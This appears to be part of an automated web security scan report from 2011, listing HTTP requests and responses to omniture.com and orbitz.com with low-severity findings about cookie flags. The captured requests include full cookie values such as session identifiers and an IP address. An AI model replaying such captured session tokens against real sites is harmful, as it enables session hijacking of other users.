HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:27:11 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:27:11 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:27:11 GMT Content-Length: 13463 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:27:11 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Insight Demo | Omnitur ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/462 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:08 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:08 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:08 GMT Content-Length: 14122 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:08 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Recommendations: Promo ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/704 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:32:19 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:32:19 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:32:19 GMT Content-Length: 13705 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:32:19 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>2009 Search and Email Highlight ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/892 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:24:51 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:24:51 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:24:52 GMT Content-Length: 14043 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:24:51 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Timex uses Omniture SearchCente ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/987 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:59:11 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:59:11 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:59:12 GMT Content-Length: 14737 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:59:11 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe.. Search&Promote: Drive R ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/989 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:05:35 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:05:35 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:05:35 GMT Content-Length: 13584 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:05:35 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Search&Promote Success St ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /press/867 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:59:04 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:59:04 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:59:04 GMT Content-Length: 32219 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:59:04 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Press Detail: New Adob ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /press/868 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:59:02 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:59:02 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:59:03 GMT Content-Length: 32129 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:59:02 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Press Detail: Adobe Ac ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /privacy/2o7?f=2o7 HTTP/1.1 Host: www.omniture.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 301 Moved Permanently Server: Omniture AWS/2.0.0 Location: http://www.omniture.com/en/privacy/2o7?f=2o7 Content-Length: 330 Content-Type: text/html; charset=iso-8859-1 Vary: Accept-Encoding Date: Wed, 02 Feb 2011 15:39:24 GMT Connection: close Set-Cookie: BIGipServerhttp_omniture=84542986.5892.0000; path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.omniture.com ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /zh HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:54:16 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:54:16 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:54:16 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: cms_site_lang=4; expires=Sat, 05-Mar-2011 05:54:16 GMT; path=/; domain=omniture.com Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:54:16 GMT; path=/; domain=omniture.com Content-Length: 35790
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//zh" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="zh" lang="zh"> <head> <title>Omniture - Web ................ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296342267897:ss=1296342267897
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=265DA875C314B0C54855FC80AB1B1D8C; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Tue, 01 Feb 2011 15:22:26 GMT Set-Cookie: NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9;path=/ Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660;path=/ Content-Length: 175717
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/DPTLandingPageSearch?z=4fbc&r=22 HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=CF01ADA3860370757BCE14E28DEA4DEF; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:11:53 GMT Content-Length: 156615
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1 ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/DisplayCarSearch?z=2eba&r=d HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=05C967C0F0A14D4101835934150D3894; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Set-Cookie: DataPersistence=||||||||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|||mm/dd/yy||||||||||mm/dd/yy|||||||||||||||||||||||||||||||||||||||||||advanced_search|; Domain=.orbitz.com; Expires=Tue, 28-Jan-2031 16:06:26 GMT; Path=/ Content-Type: text/html Date: Wed, 02 Feb 2011 16:06:25 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/ Content-Length: 61129
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/GDDC?deal_id=airtran-airways-flight-deal&type=bo_qs HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=F16847533E57975D98FAE3F2C4C87A82; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:06:58 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/ Content-Length: 34861
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/199 ...[SNIP]...
